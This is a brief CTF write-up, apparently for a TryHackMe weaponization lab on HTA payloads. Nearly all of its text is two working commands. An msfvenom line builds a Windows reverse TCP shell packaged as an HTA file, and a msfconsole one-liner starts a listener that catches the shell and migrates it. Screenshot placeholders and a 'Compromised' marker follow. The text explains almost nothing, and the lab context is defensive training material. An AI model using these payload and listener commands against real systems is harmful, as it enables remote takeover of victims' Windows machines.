← CTF archive

· Earliest timestamped screenshot

[TryHackMe] WEAPONIZATION HTA TRAIN

Tags: CTF, writeup, weaponization, HTA, payload

Generating the HTA payload:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=tun0 LPORT=443 -f hta-psh -o payload.hta

Msfconsole :

sudo msfconsole -n -q -x "use multi/handler;set payload windows/x64/shell_reverse_tcp;set AutoRunScript post/windows/manage /migrate;set lhost tun0;set lport 443;run;"

Screenshot

Screenshot

Screenshot

[ * ] Compromised